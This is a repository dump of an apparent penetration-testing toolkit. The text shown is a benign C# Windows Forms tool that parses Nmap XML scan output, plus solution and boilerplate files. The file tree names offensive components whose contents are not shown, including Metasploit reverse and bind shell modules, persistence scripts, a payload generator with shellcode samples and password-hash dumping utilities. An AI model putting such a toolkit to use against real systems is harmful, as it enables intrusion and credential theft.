├── Projects ├── NmapParser │ ├── NmapParser.sln │ ├── NmapParser.v11.suo │ └── NmapParser │ │ ├── App.config │ │ ├── Form1.Designer.cs │ │ ├── Form1.cs │ │ ├── Form1.resx │ │ ├── NmapParser.csproj │ │ ├── Program.cs │ │ ├── Properties │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ ├── Resources.resx │ │ ├── Settings.Designer.cs │ │ └── Settings.settings │ │ ├── bin │ │ └── Debug │ │ │ ├── NmapParser.exe │ │ │ ├── NmapParser.exe.config │ │ │ ├── NmapParser.pdb │ │ │ ├── NmapParser.vshost.exe │ │ │ ├── NmapParser.vshost.exe.config │ │ │ └── NmapParser.vshost.exe.manifest │ │ └── obj │ │ └── Debug │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── NmapParser.Form1.resources │ │ ├── NmapParser.Properties.Resources.resources │ │ ├── NmapParser.csproj.FileListAbsolute.txt │ │ ├── NmapParser.csproj.GenerateResource.Cache │ │ ├── NmapParser.exe │ │ ├── NmapParser.pdb │ │ ├── TempPE │ │ └── Properties.Resources.Designer.cs.dll │ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ │ └── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs ├── RemoteBuildReview │ ├── .DS_Store │ ├── ._.DS_Store │ ├── ._RemoteBuildReview │ ├── ._RemoteBuildReview.sln │ ├── ._RemoteBuildReview.suo │ ├── ._Setup │ ├── RemoteBuildReview.sln │ ├── RemoteBuildReview.suo │ ├── RemoteBuildReview.v11.suo │ ├── RemoteBuildReview │ │ ├── ._About.Designer.cs │ │ ├── ._About.cs │ │ ├── ._About.resx │ │ ├── ._Class1.cs │ │ ├── ._KB2MS.xml │ │ ├── ._KB2MS_Form.Designer.cs │ │ ├── ._KB2MS_Form.cs │ │ ├── ._KB2MS_Form.resx │ │ ├── ._Program.cs │ │ ├── ._Properties │ │ ├── ._RBR_Main.Designer.cs │ │ ├── ._RBR_Main.cs │ │ ├── ._RBR_Main.resx │ │ ├── ._RemoteBuildReview.csproj │ │ ├── ._RemoteBuildReview.csproj.user │ │ ├── ._RemoteBuildReview_TemporaryKey.pfx │ │ ├── ._Resources │ │ ├── ._Service References │ │ ├── ._UNCAccess.cs │ │ ├── ._app.config │ │ ├── ._bin │ │ ├── ._obj │ │ ├── ._publish │ │ ├── Class1.cs │ │ ├── Classes │ │ │ ├── FileClass.cs │ │ │ ├── Hashdump.cs │ │ │ ├── Program.cs │ │ │ ├── Service.cs │ │ │ ├── UNCAccess.cs │ │ │ ├── UNCAccessWithCredentials.cs │ │ │ ├── Vulnerability.cs │ │ │ ├── WMI.cs │ │ │ └── XElementExtensionMethods.cs │ │ ├── DataSet1.Designer.cs │ │ ├── DataSet1.cs │ │ ├── DataSet1.xsc │ │ ├── DataSet1.xsd │ │ ├── DataSet1.xss │ │ ├── Files │ │ │ ├── KB2MS.xml │ │ │ └── samdump2.exe │ │ ├── Forms │ │ │ ├── About.Designer.cs │ │ │ ├── About.cs │ │ │ ├── About.resx │ │ │ ├── KB2MS_Form.Designer.cs │ │ │ ├── KB2MS_Form.cs │ │ │ ├── KB2MS_Form.resx │ │ │ ├── Listtargets.Designer.cs │ │ │ ├── Listtargets.cs │ │ │ ├── Listtargets.resx │ │ │ ├── Nessus.cs │ │ │ ├── Nessus.designer.cs │ │ │ ├── Nessus.resx │ │ │ ├── Nmap.cs │ │ │ ├── Nmap.designer.cs │ │ │ ├── Nmap.resx │ │ │ ├── RBR_Main.Designer.cs │ │ │ ├── RBR_Main.cs │ │ │ ├── RBR_Main.resx │ │ │ ├── RunRemotely.Designer.cs │ │ │ ├── RunRemotely.cs │ │ │ ├── RunRemotely.resx │ │ │ ├── TestConnect.Designer.cs │ │ │ ├── TestConnect.cs │ │ │ └── TestConnect.resx │ │ ├── KB2MS.xml │ │ ├── Properties │ │ │ ├── ._AssemblyInfo.cs │ │ │ ├── ._Resources.Designer.cs │ │ │ ├── ._Resources.resx │ │ │ ├── ._Settings.Designer.cs │ │ │ ├── ._Settings.settings │ │ │ ├── AssemblyInfo.cs │ │ │ ├── Resources.Designer.cs │ │ │ ├── Resources.resx │ │ │ ├── Settings.Designer.cs │ │ │ └── Settings.settings │ │ ├── Resources │ │ │ ├── ._HP-Logo.jpg │ │ │ ├── ._HP-Logo1.jpg │ │ │ ├── HP-Logo.jpg │ │ │ └── HP-Logo1.jpg │ │ ├── ServerGUIApp.csproj │ │ ├── ServerGUIApp.csproj.user │ │ ├── app.config │ │ ├── bin │ │ │ └── Release │ │ │ │ ├── DocX.dll │ │ │ │ ├── Files │ │ │ │ └── KB2MS.xml │ │ │ │ ├── KB2MS.xml │ │ │ │ ├── RemoteBuildReview.application │ │ │ │ ├── RemoteBuildReview.exe │ │ │ │ ├── RemoteBuildReview.exe.config │ │ │ │ ├── RemoteBuildReview.exe.manifest │ │ │ │ ├── RemoteBuildReview.pdb │ │ │ │ ├── RemoteBuildReview.vshost.application │ │ │ │ ├── RemoteBuildReview.vshost.exe │ │ │ │ ├── RemoteBuildReview.vshost.exe.config │ │ │ │ ├── RemoteBuildReview.vshost.exe.manifest │ │ │ │ ├── app.config │ │ │ │ └── rbr.exe │ │ ├── hashme.exe │ │ ├── obj │ │ │ ├── ._x86 │ │ │ ├── Release │ │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ │ ├── RemoteBuildReview.About.resources │ │ │ │ ├── RemoteBuildReview.Form1.resources │ │ │ │ ├── RemoteBuildReview.Listtargets.resources │ │ │ │ ├── RemoteBuildReview.Nessus.resources │ │ │ │ ├── RemoteBuildReview.Nmap.resources │ │ │ │ ├── RemoteBuildReview.Properties.Resources.resources │ │ │ │ ├── RemoteBuildReview.RBR_Main.resources │ │ │ │ ├── RemoteBuildReview.Targetslist.resources │ │ │ │ ├── RemoteBuildReview.TestConnect.resources │ │ │ │ ├── RemoteBuildReview.application │ │ │ │ ├── RemoteBuildReview.csproj.FileListAbsolute.txt │ │ │ │ ├── RemoteBuildReview.csproj.GenerateResource.Cache │ │ │ │ ├── RemoteBuildReview.csprojResolveAssemblyReference.cache │ │ │ │ ├── RemoteBuildReview.exe │ │ │ │ ├── RemoteBuildReview.exe.manifest │ │ │ │ ├── RemoteBuildReview.pdb │ │ │ │ ├── ServerGUIApp.csproj.FileListAbsolute.txt │ │ │ │ ├── ServerGUIApp.csproj.GenerateResource.Cache │ │ │ │ ├── ServerGUIApp.csprojResolveAssemblyReference.cache │ │ │ │ └── TempPE │ │ │ │ │ ├── DataSet1.Designer.cs.dll │ │ │ │ │ └── Properties.Resources.Designer.cs.dll │ │ │ └── x86 │ │ │ │ ├── ._Debug │ │ │ │ ├── Debug │ │ │ │ ├── ._DesignTimeResolveAssemblyReferences.cache │ │ │ │ ├── ._DesignTimeResolveAssemblyReferencesInput.cache │ │ │ │ ├── ._GenerateResource.read.1.tlog │ │ │ │ ├── ._GenerateResource.write.1.tlog │ │ │ │ ├── ._RemoteBuildReview.About.resources │ │ │ │ ├── ._RemoteBuildReview.KB2MS_Form.resources │ │ │ │ ├── ._RemoteBuildReview.Properties.Resources.resources │ │ │ │ ├── ._RemoteBuildReview.RBR_Main.resources │ │ │ │ ├── ._RemoteBuildReview.application │ │ │ │ ├── ._RemoteBuildReview.csproj.FileListAbsolute.txt │ │ │ │ ├── ._RemoteBuildReview.exe │ │ │ │ ├── ._RemoteBuildReview.exe.manifest │ │ │ │ ├── ._RemoteBuildReview.pdb │ │ │ │ ├── ._TempPE │ │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ │ ├── GenerateResource.read.1.tlog │ │ │ │ ├── GenerateResource.write.1.tlog │ │ │ │ ├── RemoteBuildReview.About.resources │ │ │ │ ├── RemoteBuildReview.KB2MS_Form.resources │ │ │ │ ├── RemoteBuildReview.Nessus.resources │ │ │ │ ├── RemoteBuildReview.Properties.Resources.resources │ │ │ │ ├── RemoteBuildReview.RBR_Main.resources │ │ │ │ ├── RemoteBuildReview.application │ │ │ │ ├── RemoteBuildReview.csproj.FileListAbsolute.txt │ │ │ │ ├── RemoteBuildReview.csproj.GenerateResource.Cache │ │ │ │ ├── RemoteBuildReview.exe │ │ │ │ ├── RemoteBuildReview.exe.manifest │ │ │ │ ├── RemoteBuildReview.pdb │ │ │ │ └── TempPE │ │ │ │ │ ├── ._Properties.Resources.Designer.cs.dll │ │ │ │ │ └── Properties.Resources.Designer.cs.dll │ │ │ │ └── Release │ │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ │ └── TempPE │ │ │ │ └── Properties.Resources.Designer.cs.dll │ │ ├── packages.config │ │ └── publish │ │ │ ├── ._Application Files │ │ │ ├── ._RemoteBuildReview.application │ │ │ ├── ._setup.exe │ │ │ ├── Application Files │ │ │ ├── ._RemoteBuildReview_1_0_0_0 │ │ │ ├── ._RemoteBuildReview_1_0_0_1 │ │ │ ├── ._RemoteBuildReview_1_0_0_2 │ │ │ ├── ._RemoteBuildReview_1_0_0_3 │ │ │ ├── ._RemoteBuildReview_3_0_1_1 │ │ │ ├── RemoteBuildReview_1_0_0_0 │ │ │ │ ├── ._RemoteBuildReview.application │ │ │ │ ├── ._RemoteBuildReview.exe.deploy │ │ │ │ ├── ._RemoteBuildReview.exe.manifest │ │ │ │ ├── RemoteBuildReview.application │ │ │ │ ├── RemoteBuildReview.exe.deploy │ │ │ │ └── RemoteBuildReview.exe.manifest │ │ │ ├── RemoteBuildReview_1_0_0_1 │ │ │ │ ├── ._RemoteBuildReview.application │ │ │ │ ├── ._RemoteBuildReview.exe.deploy │ │ │ │ ├── ._RemoteBuildReview.exe.manifest │ │ │ │ ├── RemoteBuildReview.application │ │ │ │ ├── RemoteBuildReview.exe.deploy │ │ │ │ └── RemoteBuildReview.exe.manifest │ │ │ ├── RemoteBuildReview_1_0_0_2 │ │ │ │ ├── ._RemoteBuildReview.application │ │ │ │ ├── ._RemoteBuildReview.exe.config.deploy │ │ │ │ ├── ._RemoteBuildReview.exe.deploy │ │ │ │ ├── ._RemoteBuildReview.exe.manifest │ │ │ │ ├── RemoteBuildReview.application │ │ │ │ ├── RemoteBuildReview.exe.config.deploy │ │ │ │ ├── RemoteBuildReview.exe.deploy │ │ │ │ └── RemoteBuildReview.exe.manifest │ │ │ ├── RemoteBuildReview_1_0_0_3 │ │ │ │ ├── ._RemoteBuildReview.application │ │ │ │ ├── ._RemoteBuildReview.exe.config.deploy │ │ │ │ ├── ._RemoteBuildReview.exe.deploy │ │ │ │ ├── ._RemoteBuildReview.exe.manifest │ │ │ │ ├── RemoteBuildReview.application │ │ │ │ ├── RemoteBuildReview.exe.config.deploy │ │ │ │ ├── RemoteBuildReview.exe.deploy │ │ │ │ └── RemoteBuildReview.exe.manifest │ │ │ └── RemoteBuildReview_3_0_1_1 │ │ │ │ ├── ._RemoteBuildReview.application │ │ │ │ ├── ._RemoteBuildReview.exe.deploy │ │ │ │ ├── ._RemoteBuildReview.exe.manifest │ │ │ │ ├── RemoteBuildReview.application │ │ │ │ ├── RemoteBuildReview.exe.deploy │ │ │ │ └── RemoteBuildReview.exe.manifest │ │ │ ├── RemoteBuildReview.application │ │ │ └── setup.exe │ ├── UpgradeLog.htm │ └── packages │ │ ├── DocX.1.0.0.13 │ │ ├── DocX.1.0.0.13.nupkg │ │ ├── DocX.1.0.0.13.nuspec │ │ └── lib │ │ │ ├── net20 │ │ │ └── DocX.dll │ │ │ └── net40 │ │ │ └── DocX.dll │ │ └── repositories.config └── Service-Perms │ ├── Service-Perms.sln │ ├── Service-Perms.v11.suo │ └── Service-Perms │ ├── App.config │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── Service-Perms.csproj │ ├── bin │ └── Debug │ │ ├── Report-PT-SP00N.html │ │ ├── Service-Perms.exe │ │ ├── Service-Perms.exe.config │ │ ├── Service-Perms.pdb │ │ ├── Service-Perms.vshost.exe │ │ ├── Service-Perms.vshost.exe.config │ │ ├── Service-Perms.vshost.exe.manifest │ │ ├── report.html │ │ ├── service-binaries.html │ │ └── service-folders.html │ └── obj │ └── Debug │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── Service-Perms.csproj.FileListAbsolute.txt │ ├── Service-Perms.csprojResolveAssemblyReference.cache │ ├── Service-Perms.exe │ ├── Service-Perms.pdb │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ └── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs ├── README.md ├── WindowsService ├── Backup │ ├── WindowsService.sln │ └── WindowsService │ │ ├── WindowsService.cs │ │ ├── WindowsService.csproj │ │ └── WindowsServiceInstaller.cs ├── UpgradeLog.htm ├── WindowsService.sln ├── WindowsService.v11.suo └── WindowsService │ ├── WindowsService.cs │ ├── WindowsService.csproj │ ├── WindowsServiceInstaller.cs │ ├── bin │ └── Debug │ │ ├── WindowsService.exe │ │ ├── WindowsService.pdb │ │ ├── WindowsService.vshost.exe │ │ └── WindowsService.vshost.exe.manifest │ └── obj │ └── Debug │ ├── DesignTimeResolveAssemblyReferences.cache │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── WindowsService.csproj.FileListAbsolute.txt │ ├── WindowsService.exe │ └── WindowsService.pdb ├── git-todo.txt ├── metasploit ├── powershell.rb ├── powershell.rb~ ├── powershell │ ├── bind_tcp.rb │ └── reverse_tcp.rb └── smart_persistence.rb ├── meterpreter ├── persistence_nettitude.rb ├── persistence_nettitude.rb~ ├── powershell.rb └── powershell.rb~ ├── msf.sh ├── old └── persistence_nettitude.rb ├── paygen.py ├── powerfun.ps1~ ├── powershell.py ├── powershell.rb ├── powershell ├── Service-Perms.ps1 └── powerfun.ps1 ├── python ├── NessusParser │ └── nessus-parser.py ├── PayGen │ ├── paygen.py │ ├── s.bak │ └── shellter │ │ ├── faq.txt │ │ ├── icon │ │ └── shellter.ico │ │ ├── license.txt │ │ ├── putty.back │ │ ├── putty.exe │ │ ├── readme.txt │ │ ├── shellcode_samples │ │ ├── calc │ │ ├── calcenc │ │ ├── info.txt │ │ ├── krb1 │ │ └── krb3 │ │ ├── shellter.exe │ │ └── version_history.txt ├── lyncdiscover.py └── macro_safe.py ├── sendemail └── service-perms.exe /Projects/NmapParser/NmapParser.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2012 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "NmapParser", "NmapParser\NmapParser.csproj", "{06D15641-EC27-47D7-8FD3-FBE911D71139}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {06D15641-EC27-47D7-8FD3-FBE911D71139}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {06D15641-EC27-47D7-8FD3-FBE911D71139}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {06D15641-EC27-47D7-8FD3-FBE911D71139}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {06D15641-EC27-47D7-8FD3-FBE911D71139}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser.v11.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser.v11.suo -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/Form1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.IO; 7 | using System.Linq; 8 | using System.Text; 9 | using System.Xml; 10 | using System.Xml.Linq; 11 | using System.Diagnostics; 12 | using System.Windows.Forms; 13 | using System.Security.Permissions; 14 | using System.Security; 15 | //using Novacode; 16 | 17 | namespace NmapParser 18 | { 19 | public partial class Form1 : Form 20 | { 21 | public Form1() 22 | { 23 | InitializeComponent(); 24 | } 25 | 26 | private void parse_Click(object sender, EventArgs e) 27 | { 28 | 29 | openFileDialog1.Filter = "XML files (*.xml)|*.xml|All files (*.*)|*.*"; 30 | openFileDialog1.InitialDirectory = @"C:\"; 31 | openFileDialog1.Title = "Please select an XML file to open."; 32 | if (openFileDialog1.ShowDialog() == DialogResult.OK) 33 | { 34 | foreach (String file in openFileDialog1.FileNames) 35 | { 36 | XDocument xml = XDocument.Load(openFileDialog1.FileName); 37 | 38 | //for each report host 39 | var query1 = from p in xml.Elements("nmaprun").Elements("host") 40 | select p; 41 | 42 | foreach (var record1 in query1) 43 | { 44 | 45 | string address = record1.Element("address").Attribute("addr").Value; 46 | 47 | //for each reportitem in host 48 | var query2 = from p in xml.Elements("nmaprun").Elements("host").Elements("ports").Elements("port") 49 | where (string)p.Parent.Parent.Element("address").Attribute("addr") == address 50 | select p; 51 | 52 | foreach (var record in query2) 53 | { 54 | string hostname = record.Parent.Parent.Element("address").Attribute("addr").Value.ToString(); 55 | string protocol = record.Attribute("protocol").Value.ToString(); 56 | string port = record.Attribute("portid").Value.ToString(); 57 | 58 | 59 | string state = null; 60 | try 61 | { state = record.Element("state").Attribute("state").Value.ToString(); } 62 | catch { } 63 | 64 | string name = null; 65 | try 66 | { name = record.Element("service").Attribute("name").Value.ToString(); } 67 | catch { } 68 | 69 | //host, port, protocol, service 70 | dataGridView1.Rows.Add(hostname, port + " (" + state + ")", protocol, name); 71 | 72 | } 73 | } 74 | } 75 | } 76 | } 77 | 78 | private void Form1_Load(object sender, EventArgs e) 79 | { 80 | 81 | } 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/NmapParser.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {06D15641-EC27-47D7-8FD3-FBE911D71139} 8 | WinExe 9 | Properties 10 | NmapParser 11 | NmapParser 12 | v3.5 13 | 512 14 | 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | Form 50 | 51 | 52 | Form1.cs 53 | 54 | 55 | 56 | 57 | Form1.cs 58 | 59 | 60 | ResXFileCodeGenerator 61 | Resources.Designer.cs 62 | Designer 63 | 64 | 65 | True 66 | Resources.resx 67 | True 68 | 69 | 70 | SettingsSingleFileGenerator 71 | Settings.Designer.cs 72 | 73 | 74 | True 75 | Settings.settings 76 | True 77 | 78 | 79 | 80 | 81 | 82 | 83 | 90 | -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Windows.Forms; 5 | 6 | namespace NmapParser 7 | { 8 | static class Program 9 | { 10 | /// 11 | /// The main entry point for the application. 12 | /// 13 | [STAThread] 14 | static void Main() 15 | { 16 | Application.EnableVisualStyles(); 17 | Application.SetCompatibleTextRenderingDefault(false); 18 | Application.Run(new Form1()); 19 | } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("NmapParser")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("NmapParser")] 13 | [assembly: AssemblyCopyright("Copyright © 2014")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("e4c6c80c-a696-4978-91ec-4f92c0ce1e78")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.18444 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace NmapParser.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("NmapParser.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.18444 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace NmapParser.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/bin/Debug/NmapParser.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser/bin/Debug/NmapParser.exe -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/bin/Debug/NmapParser.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/bin/Debug/NmapParser.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser/bin/Debug/NmapParser.pdb -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/bin/Debug/NmapParser.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser/bin/Debug/NmapParser.vshost.exe -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/bin/Debug/NmapParser.vshost.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/bin/Debug/NmapParser.vshost.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/obj/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser/obj/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/obj/Debug/NmapParser.Form1.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser/obj/Debug/NmapParser.Form1.resources -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/obj/Debug/NmapParser.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser/obj/Debug/NmapParser.Properties.Resources.resources -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/obj/Debug/NmapParser.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | c:\users\administrator\documents\visual studio 2012\Projects\NmapParser\NmapParser\bin\Debug\NmapParser.exe.config 2 | c:\users\administrator\documents\visual studio 2012\Projects\NmapParser\NmapParser\bin\Debug\NmapParser.exe 3 | c:\users\administrator\documents\visual studio 2012\Projects\NmapParser\NmapParser\bin\Debug\NmapParser.pdb 4 | c:\users\administrator\documents\visual studio 2012\Projects\NmapParser\NmapParser\obj\Debug\NmapParser.Form1.resources 5 | c:\users\administrator\documents\visual studio 2012\Projects\NmapParser\NmapParser\obj\Debug\NmapParser.Properties.Resources.resources 6 | c:\users\administrator\documents\visual studio 2012\Projects\NmapParser\NmapParser\obj\Debug\NmapParser.csproj.GenerateResource.Cache 7 | c:\users\administrator\documents\visual studio 2012\Projects\NmapParser\NmapParser\obj\Debug\NmapParser.exe 8 | c:\users\administrator\documents\visual studio 2012\Projects\NmapParser\NmapParser\obj\Debug\NmapParser.pdb 9 | -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/obj/Debug/NmapParser.csproj.GenerateResource.Cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser/obj/Debug/NmapParser.csproj.GenerateResource.Cache -------------------------------------------------------------------------------- /Projects/NmapParser/NmapParser/obj/Debug/NmapParser.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/NmapParser/NmapParser/obj/Debug/NmapParser.exe -------------------------------------------------------------------------------- 